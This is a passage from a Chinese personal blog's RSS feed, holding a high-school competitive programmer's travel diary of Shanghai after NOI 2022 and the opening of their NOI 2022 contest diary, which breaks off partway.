&lt;p&gt;其实合理控制缓存只是加快方面速度的一环，对于本站来说，MathJax 已经成为了加载时间的大头（~300ms）而我显然拿这个东西没有办法。（一种可行的办法是使用服务端渲染，但是 PHP 似乎没有现成实现）&lt;/p&gt;
&lt;p&gt;另一方面，本站的 JavaScript 加载顺序其实没有任何优化，同步的 JavaScript 加载仍然在阻碍页面加载。&lt;/p&gt;
&lt;p&gt;如果我接下来一段时间每天还能有几分钟用来写代码，那么应该会有更多关于这方面的文章。&lt;/p&gt;
</content:encoded><category>blog</category><category>share</category><author>woshiluo</author></item><item><title>NOI 2022 游记 SP - 上海之旅</title><link>https://blog.woshiluo.com/posts/2022/10/noi-2022-%E6%B8%B8%E8%AE%B0-sp-%E4%B8%8A%E6%B5%B7%E4%B9%8B%E6%97%85/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2022/10/noi-2022-%E6%B8%B8%E8%AE%B0-sp-%E4%B8%8A%E6%B5%B7%E4%B9%8B%E6%97%85/</guid><pubDate>Sat, 01 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;漫天闪烁的繁星
伴着我独自前行
越过光年的距离
照亮我的眼睛&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.bilibili.com/video/av77706312&quot;&gt;化作繁星&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;0 启程&lt;/h2&gt;
&lt;p&gt;上海，中国对外开放的中心。&lt;/p&gt;
&lt;p&gt;这场上海之旅来之不易。伴随着紧急疏散的要求，我和抹茶和 dyf_dyf 一同打的前往花桥，乘坐上海轨道交通 11 号线，前往上海。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/10/image-576x1024.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;花桥站&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;伴随着痛苦的安检（小米纸袋子终究还是破了）和另外两位同志漫长的买票，我们终于坐上了地铁。&lt;/p&gt;
&lt;p&gt;来的太紧急，去哪住还是一个问题。尽管虹桥火车站可能很方便出行（根据之后的情况，实际上一点都不方便。），但是考虑到各种各样的影响 &amp;amp; 稍微逛逛上海的愿望，最后决定直接在南京东路。&lt;/p&gt;
&lt;p&gt;在江苏路下车，告别两位同志。换乘 2 号线。&lt;/p&gt;
&lt;p&gt;2 号线的风实在是太大了。惊讶于南京东路和南京西路的站名如此相近，险些下错站。然后喜闻乐见的出错口了。然后手机喜闻乐见的没电了。&lt;/p&gt;
&lt;p&gt;根据我的直觉在地上往另一个出站口走。一出站，看到繁华的南京东路，突然一下有种想哭的感觉。直到这个时候，我才真正意识到这场 NOI 已经结束了，我的现役生涯结束了。逛着繁华的步行街，却不知前途何方。但是总归得先找到口，绕了 10min 后总算找到酒店（这附近怎么还有修游戏机的店？）。匆匆忙忙的整理完东西后，还是决定出去逛逛。&lt;/p&gt;
&lt;p&gt;走向外滩，一抬头就是东方明珠塔。心中更是五味杂陈，唯有加快脚步前往外滩。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/10/image-1-576x1024.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;从南京东路拍摄外滩&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/10/image-2-1024x576.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;外滩夜景&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;走到人声鼎沸的外滩，看船只来来往往，霓虹灯五光十色，感叹于这座城市的生命力。尽管有新冠疫情防控的层层阻挠，这里依然繁忙。&lt;/p&gt;
&lt;p&gt;回到酒店，躺在床上缓慢入睡。&lt;/p&gt;
&lt;h2&gt;1 Day 1&lt;/h2&gt;
&lt;p&gt;在关于 NOI 的回忆中醒来，脑子里总是闪过自己在 Day2 时的弱智操作，但是也只能看着，已经结束了。&lt;/p&gt;
&lt;p&gt;一看表 0400，将这些东西抛于脑后。打开电脑看到了 0800，买了两个包子，开始乱晃。联络另外两位同志，他们说他们于 0900 出门。&lt;/p&gt;
&lt;p&gt;然后我被鸽了。据说是因为酒店离地铁站的距离很远。&lt;/p&gt;
&lt;p&gt;最终在 1040 左右成功碰头。先去整了点特产，然后前往 Animate。&lt;/p&gt;
&lt;p&gt;外文书店离这里实在不远，不消几分钟便已走到。然后一进门大家就被外文书店吸引了。&lt;/p&gt;
&lt;p&gt;短暂的逛了下外文书店，便还是前往四楼。&lt;/p&gt;
&lt;p&gt;四楼有潮玩星球，Animate 和松坂书屋。那我自然对书的兴趣最大（正经人谁买周边啊，哦我也买），开始看书。&lt;/p&gt;
&lt;p&gt;Animate 肯定还是得去，简单晃了一圈发现确实没啥好东西，拉拉专柜可以一看，然后有一些架子上有些较老的东西（e.g.: 路人女友，凉宫，CLANNAD）还是不错的。但是没有找到碧蓝航线！去问前台，前台给我指了个角落，发现实在没有有趣的东西，便打消了买碧蓝周边的主意。&lt;/p&gt;
&lt;p&gt;下楼的时候看到一个穿了 NOI 衣服的人，据说 286pts，奶了两口 Au 稳了。&lt;/p&gt;
&lt;p&gt;准备回去的时候抹茶说要这里有个活动她要去逛（似乎是个什么联动餐厅），于是我和 dyt_dyf 就先愉快跑路了。&lt;/p&gt;
&lt;p&gt;抹茶过了一会儿回来了，明确表示，联动餐厅吃不饱的，然后大家一起去吃饭。&lt;/p&gt;
&lt;p&gt;找了家上海包子店，我整了个小笼包，隔壁两位整了个大汤包，据说味道很好，但是感觉很贵啊！&lt;/p&gt;
&lt;p&gt;然后跑去逛外滩，我们在考虑去不去东方明珠上面逛逛，然后直接被一位疑似是本地的人打断 -- 「别去，骗钱的」。于是这个计划就取消了。&lt;/p&gt;
&lt;p&gt;走到上海人民英雄纪念塔，但是没找到地方写说纪念啥。上海的英雄事迹还是很多的，姑且就当是人民英雄归于人民吧。&lt;/p&gt;
&lt;p&gt;接着就是外白渡桥和俄罗斯驻上海领事馆了。&lt;/p&gt;
&lt;p&gt;大家开始聊接下来干什么，我本着整蛊的想法提议去看 Bilibili 的总部康康。结果另外两位居然非常支持我还劝不回来了。翻车了。&lt;/p&gt;
&lt;p&gt;那这都绝对多数了我只能服从组织决定，接下来就去看吧！&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/10/image-3-744x1024.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;叔叔我啊.jpg&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;看完就准备跑路呗，实在不想去 Bilibili 大楼圣地巡礼，毕竟早就不算圣地了。&lt;/p&gt;
&lt;p&gt;几个人突发奇想决定骑自行车回去，结果骑了几公里就发现上海市骑车的难度多少还是有点高。遂改坐地铁。&lt;/p&gt;
&lt;p&gt;回到酒店休息一会儿。想放点东西当休闲，开始本着是 39 届 NOI 的想法放的 39 感谢祭的曲子，后来决定放航拍中国上海篇。&lt;/p&gt;
&lt;p&gt;考虑吃什么，决定吃萨利亚！&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/10/image-4-1024x576.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;萨利亚真的很好吃！&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;吃完萨利亚再去外滩，毕竟夜景还是值得一看的。&lt;/p&gt;
&lt;p&gt;散伙喽，另外两位决定莽回去，而我则由于社区一时还不允许我回去，只得接着逗留在上海。&lt;/p&gt;
&lt;h2&gt;2 Day 2&lt;/h2&gt;
&lt;p&gt;梦到 NOI 查分时走向考场的路，如此紧张刺激，一切还没有尘埃落定。&lt;/p&gt;
&lt;p&gt;突然惊醒，一看表，0430。&lt;/p&gt;
&lt;p&gt;上午就在休息，下午则开始跑上海市博物馆。&lt;/p&gt;
&lt;p&gt;去的时候是知道没预约去不了的，本来是打算来踩点的，结果到门口发现多了刷出来一张票，便进去了。&lt;/p&gt;
&lt;p&gt;上海市博物馆展览了很多有关中国历史文化的物品，但是显然我语文课上听的东西已经忘的差不多了（我对不住你啊崔老师）。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/10/image-5-576x1024.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;于是最后我在中国展物中最感兴趣的是货币史&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;有个和希腊方面联合办展的临时展馆。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/10/image-6-1024x576.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;希腊展馆多是绘画作品&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;晚上跑去吃了份炸猪排。&lt;/p&gt;
&lt;h2&gt;3 Day 3&lt;/h2&gt;
&lt;p&gt;梦中写题。今天总算在 0600 起床了。&lt;/p&gt;
&lt;p&gt;今天的安排则是比较明确的，上海市铁路博物馆和上海市地铁博物馆。&lt;/p&gt;
&lt;p&gt;地铁博物馆内有好几处被封的展厅，让人摸不找头脑。&lt;/p&gt;
&lt;p&gt;整体来说没有展示什么特别稀奇的东西，可能最有趣的是老文件。&lt;/p&gt;
&lt;p&gt;尽头有人在卖点文创产品（我承认我最开始写的是「周边」一词），实在是提不起兴趣，随快速逃离。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/10/image-7-1024x670.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;这个口号居然是这两年提出来的...&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;接下来是去铁路博物馆，10 号线的支线线路让人感觉很神奇。&lt;/p&gt;
&lt;p&gt;然后跑过去之后发现刚刚好到上午关门的时间。&lt;/p&gt;
&lt;p&gt;还能怎么办呢，在附近找了家餐馆等到下午开门时间。&lt;/p&gt;
&lt;p&gt;过去试了试高中学生证能不能半价，答案是可以！&lt;/p&gt;
&lt;p&gt;铁路博物馆主要是上海局的一些历史和那个喜闻乐见的蒸汽机车。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/10/image-8-1024x576.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;近距离看还是很壮观啊&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;回去时实在找不到北，决定试试在上海打车。旋即发现起步价 16cny，麻了。&lt;/p&gt;
&lt;p&gt;到了酒店发现还有大把时间摸鱼，于是又跑了躺 animate。（我承认我就是想看看碧蓝航线周边上货了没）&lt;/p&gt;
&lt;h2&gt;4 Day 4&lt;/h2&gt;
&lt;p&gt;今天早上的预订是和 &lt;a href=&quot;https://yuncaioo.com/&quot;&gt;云彩&lt;/a&gt; 面基。&lt;/p&gt;
&lt;p&gt;然后两个人到了碰面地点发现没有什么餐厅是开的。&lt;/p&gt;
&lt;p&gt;说是面基，实际上最后吃了两顿饭 &amp;amp; 打了一盘麻将。感恩大佬请客！&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/10/image-9-1024x576.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;午饭&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/10/photo_2022-10-01_15-14-16-edited.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;让电脑飞~&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;下午跑去上海市规划馆。&lt;/p&gt;
&lt;p&gt;人民广场站实在是太太太大了。在我逛了许久的地下迷宫后，我终于到了规划馆。&lt;/p&gt;
&lt;p&gt;负一楼是特别展厅，似乎是在展览北京和上海的对比。往上就是常规展厅。&lt;/p&gt;
&lt;p&gt;如果想要了解上海市的发展经历，我认为这里是个很好的地方。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/10/image-10-576x1024.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;远期规划都摆上来了&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;h2&gt;5 Day 5&lt;/h2&gt;
&lt;p&gt;今天是在上海的最后一天！社区允许我回去了！&lt;/p&gt;
&lt;p&gt;今天的计划就是随意乱跑。&lt;/p&gt;
&lt;p&gt;决定再去一趟 Animate 和萨利亚！&lt;/p&gt;
&lt;p&gt;仔细逛了逛书架，发现绝大多数有近几年还有一定讨论的书都有！简直是天堂！&lt;/p&gt;
&lt;p&gt;于是被某位有大学上的人托买了一本摇曳百合。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/10/image-11-576x1024.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;有许多较为知名的作品，逛起来还是很花时间的&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;萨利亚真的好好吃，可惜我相当长一段时间内吃不到了。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/10/image-12-1024x576.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;只要不吃牛排，萨利亚的价格真的很廉价&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;下午的时间搞到了一张一大会址票，但也想去打打音游街机。&lt;/p&gt;
&lt;p&gt;一直在犹豫干什么，最后决定，我全都要！&lt;/p&gt;
&lt;p&gt;于是我又一次冲到人民广场的地下迷宫。在转了 20min+ 后，总算找到机厅。&lt;/p&gt;
&lt;p&gt;发现 maimai 的队伍巨长，果断决定打 wacca，打了两把后发现这里的机厅居然有太鼓！于是跑去打太鼓达人，发现自己完全不会玩，判定实在是令人迷惑。（也有可能是维护问题？）&lt;/p&gt;
&lt;p&gt;跑路，去一大会址。一大会址附近直接实行了交通管制...车进不去。&lt;/p&gt;
&lt;p&gt;看完紧赶慢赶的跑回酒店。本来打算去卖点月饼的，但是东西实在是太多了，遂放弃，前往上海火车站。&lt;/p&gt;
&lt;p&gt;我很快就后悔了这个决定，因为我并没有意识到上海的晚高峰是在 1700 开始的。提着一车东西在地铁里被挤成肉饼后，总算到达火车站。&lt;/p&gt;
&lt;p&gt;这种传统的分多个候车室候车的火车站已经许久没有来过了，但是感觉体验和装潢比那些高铁站高到不知道哪里去了。唯一的问题是打印报销凭证只能在 11 号候车室打印，非常不方便。&lt;/p&gt;
&lt;p&gt;上车！再见，上海！&lt;/p&gt;
&lt;h2&gt;6 尾声&lt;/h2&gt;
&lt;p&gt;伴随着火车驶入乌鲁木齐站，此次上海之旅终究迎来结束。&lt;/p&gt;
&lt;p&gt;这次上海之旅固有很多遗憾，但是能在即将到来的繁忙高三前有此机会，已经足够令人开心。&lt;/p&gt;
&lt;p&gt;截止文章收尾时，乌鲁木齐仍然没有从这轮疫情中走出来。&lt;/p&gt;
&lt;p&gt;我从小从书中了解的是 21 世纪的第一个十年，而我用自己眼睛开始认识世界却是疫情爆发后的这几年。
我了解竞赛时正是自主招生的高潮，但等我退役时却已是强基计划的时代。
我深深的感到个人对未来的无力，但也明白这种无力终究要去接受。&lt;/p&gt;
&lt;p&gt;不管如何，希望我还能相信「风雨过后是彩虹」，也能够接着以「Jump up HIGH!!」的心态面对一切吧。&lt;/p&gt;
&lt;p&gt;再见，上海！再见，OI！&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我歌唱潮起潮落
歌唱浪漫不褪色
也歌唱为梦扬帆的执着&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.bilibili.com/video/av729498468&quot;&gt;人鱼电台&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Woshiluo Luo&lt;/p&gt;
&lt;p&gt;2022/09/13 初稿 于 乌鲁木齐&lt;/p&gt;
&lt;p&gt;2022/10/01 终稿 于 乌鲁木齐&lt;/p&gt;
</content:encoded><category>algorithm</category><category>share</category><author>woshiluo</author></item><item><title>NOI 2022 游记</title><link>https://blog.woshiluo.com/posts/2022/08/noi-2022-%E6%B8%B8%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2022/08/noi-2022-%E6%B8%B8%E8%AE%B0/</guid><pubDate>Wed, 31 Aug 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 序&lt;/h2&gt;
&lt;p&gt;今年是最感到时间如白马过隙的。每天窝在机房看自己不会的东西，每天都在想明天要学什么新的东西，然后日子就一天天的过去了。&lt;/p&gt;
&lt;p&gt;想学的东西还没有学完，CCF 要求所有选手先到昆山的通告倒是先来了。不管如何，参赛为重，只得踏上前往昆山的旅途。&lt;/p&gt;
&lt;h2&gt;1 愉快的七天&lt;/h2&gt;
&lt;p&gt;因为雅礼人的高铁经过温州 &amp;amp; 他们订票的时候也没带上我，我就自己整了个别的列车。&lt;/p&gt;
&lt;p&gt;在 08 月 13 日到达的昆山。&lt;/p&gt;
&lt;p&gt;一到昆山就跑去找 dyf_dyf 和 Lucky_Yukikaze 聊天。&lt;/p&gt;
&lt;p&gt;整理一下情况是几乎整个新疆省队都在一起（除了 Arachv）。接下来的日子就很简单了，蜜雪冰城，Among us，写模版，聊天。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/08/IMG_20220817_170132021-1024x769.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;0817 吃的华莱士&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;简单欢乐的日子永远过的很快，眨眼见就到了 20 号。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;2 Day -1&lt;/h2&gt;
&lt;p&gt;2022/08/20&lt;/p&gt;
&lt;p&gt;进去要扫码，然后手机没电了。&lt;/p&gt;
&lt;p&gt;行程码还有非苏州的，不过似乎是普遍现象，没人管我。进去先写防疫承诺书，然后交健康卡，换来一张住宿卡！&lt;/p&gt;
&lt;p&gt;跑去签名墙，一眼 Karry5307。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/08/IMG_20220820_104810770-769x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;节目效果&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;宿舍的环境相当豪华，美中不足是没有给选手提供盆。过去看了眼洗衣机和烘干机，感觉非常高端。吃饭前跑去和雅礼选手吹水，被 dyf_dyf 戏称为「罕见」。&lt;/p&gt;
&lt;p&gt;吃完饭睡觉，起来写了个 LCT 板子就跑去吃饭了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/08/IMG_20220820_185204867-1024x769.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;晚上跑去参加「聚沙成塔」的「迎新晚会］。参加之前大胆猜测是 WC 文艺汇演的精神继承，主办方倒也大胆承认了。&lt;/p&gt;
&lt;p&gt;一开始已经做好了观看烂活集合的准备，结果发现竟然有些好活。&lt;/p&gt;
&lt;p&gt;上来唱 Euphoria ，然后整了个自制曲。认真说这群组委会的作曲水平和演唱水平实在一般，但是能有人做这活来炒热气氛就已相当不易，而且整得不错啊！&lt;/p&gt;
&lt;p&gt;整活过后就是谁是卧底，我看前两把都没有算法（CSP-S/NOIP 和 C/Pascal），就决定大胆上去整活。然后拿到词条发现是 LCP 人傻了。整的活是「我是湖南省长沙市雅礼中学的 lk，我抄了 Karry5307 的代码」。整完才发现台下坐的有长郡选手，如果冒犯到了非常抱歉！&lt;/p&gt;
&lt;p&gt;回去洗澡睡觉。&lt;/p&gt;
&lt;h2&gt;3 Day 0&lt;/h2&gt;
&lt;p&gt;2022/08/21&lt;/p&gt;
&lt;p&gt;感觉睡的海星，但是因为睡的太早了所以起得也很早！被中央空调吵醒好几次。这个空调的自动模式会在达到目标温度的时候停止工作，一旦到了需要工作的阀值就会突然开启最大功率。很容易发现，这属于不规律噪音。&lt;/p&gt;
&lt;p&gt;教师们的报道日。对于选手来说则显得平平无奇。吃完早饭后基本上就是一群人坐在一起吹水，然后静待广播通知。&lt;/p&gt;
&lt;p&gt;广播的通报顺序显然是按照所在省份的首字幕排列的，于是新疆理所当然的在最后几个。在数轮公告后总算轮到新疆选手。晃悠过去后发现即时分批队伍还是很长，看齐来这个分批还是很有意义的。&lt;/p&gt;
&lt;p&gt;拿到了勋章！被金老师拦住换了个 ISIJ 的勋章。新疆省队互相交换勋章后，将新衣服扔进洗衣机里，我就跑去找雅礼人换勋章了！zxy 的勋章遗憾换完，cxy 和 zzm 倒是换上了！回来的路上被人拦住，似乎是被我昨天整的活乐到了，于是我最后一个勋章也换出去了。&lt;/p&gt;
&lt;p&gt;中午吃饭平平无奇。下午一群人又在吹水，对着 OI Wiki 说着啥啥啥肯定不会考（比如树 Hash），顺手写了个 SAM。晚饭吃完后没有收到密码条相关的通知，大胆猜测领队觉得保险鸽到明天了，问了几个其他省队发现他们发了更确信了这个情况。&lt;/p&gt;
&lt;h2&gt;4 Day 0.5&lt;/h2&gt;
&lt;p&gt;2022/08/22&lt;/p&gt;
&lt;p&gt;笔试&lt;/p&gt;
&lt;p&gt;打开 ouuan 的背笔试工具往死里背，然后发现自己已经可以轻松 FC 了。然后就开始写最大流最小割板子和 ACAM。&lt;/p&gt;
&lt;p&gt;午饭的时候见到领队跑去据理力争为什么不早点发密码条，得到了明天的密码调肯定会今天发的保证。&lt;/p&gt;
&lt;p&gt;进考场准备笔试。打开试机题，NOIP 2021，我大受震撼。感觉这个试机题目没有任何意义，甚至不一定能够起到暗示后面两天题目类型的作用，遂直接关闭。坐在座位上划了阵水，然后笔试就开始了。&lt;/p&gt;
&lt;p&gt;笔试也没啥意外了，考后直接掐了网。当时就觉得笔试成绩不太可能能 在试机时间 看到，但是还是姑且等了一会儿。&lt;/p&gt;
&lt;p&gt;出来后发现笔试成绩还是没有消息，询问自己教练也无果，很是纳闷。吃饭后拿上了密码条，在大厅见到的金老师。前去询问，还是没有相关消息。&lt;/p&gt;
&lt;p&gt;回到宿舍就开始写差分约束。&lt;/p&gt;
&lt;h2&gt;5 Day 1&lt;/h2&gt;
&lt;p&gt;2022/08/23&lt;/p&gt;
&lt;p&gt;起床发现隔壁的人已经吃完了！甚至在写 SAM，非常的吓人。&lt;/p&gt;
&lt;p&gt;跑到食堂发现剩下的饭不是很多但是够吃！吃完直接去大厅等了，ynh 倒是跑回去看东西了，不是很懂现在着急看板子图啥。&lt;/p&gt;
&lt;p&gt;给每个选手提供了两袋面包和一瓶水。&lt;/p&gt;
&lt;p&gt;开考！&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;先粗看三题目，T1 应该是理所当然的签到题目，T2 看起来比较奇怪，容易构造一个神秘的 DP，T3是交互，感觉比较要命。&lt;/li&gt;
&lt;li&gt;对着 T1 的每个操作想，发现除了 3 操作没有什么问题。思考 3 操作，发现一个数字是某个序列的绝对众数当且仅当这个数字在这个序列的任意划分中是某一段的绝对众数。很容易根据这个得出一个迭代的做法，复杂度 $O(m\log (m) \log (\max a))$&lt;/li&gt;
&lt;li&gt;直接上手， 大约 0930 前就过了所有样例。发现样例很水，考虑对拍。构造四种不同的数据生成器，在 1030 的时候全部写完并拍上了，就挂在后台了。&lt;/li&gt;
&lt;li&gt;考虑构造 T2 DP 的转移方程。发现问题一车，考虑 T3。&lt;/li&gt;
&lt;li&gt;发现 T3 有手就有 10pts，后面的链和固定根的结点根号分治可做，应该有 40pts。&lt;/li&gt;
&lt;li&gt;回来写 T2，到了 12:40 还没有调出来，弃了。&lt;/li&gt;
&lt;li&gt;然后开始写 T3，没写完。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;考后发现自己纯演员，应该直接写 T3。当时觉得人均会 T2，出场时心灰意冷。&lt;/p&gt;
&lt;p&gt;然后吃饭一问发现没人做 T2 人人喊难，心才算放下来。然后又听说 T1 要开 &lt;code&gt;long long&lt;/code&gt; 直接给我干傻了。&lt;/p&gt;
&lt;p&gt;紧张刺激的查分环节！打开 PDF 发现没挂分，万幸。问了一圈或多或少都在挂，感觉还好。&lt;/p&gt;
&lt;p&gt;dyf_dyf 突然探头，跟我说他 File IO 写错了。一下愣住了，在我确定确实是他本人的问题后，我也只能表示默哀了。&lt;/p&gt;
&lt;p&gt;晚饭相对沉重一些。晚上就没有人写板子了。&lt;/p&gt;
&lt;h2&gt;6 Day 1.5&lt;/h2&gt;
&lt;p&gt;2022/08/24&lt;/p&gt;
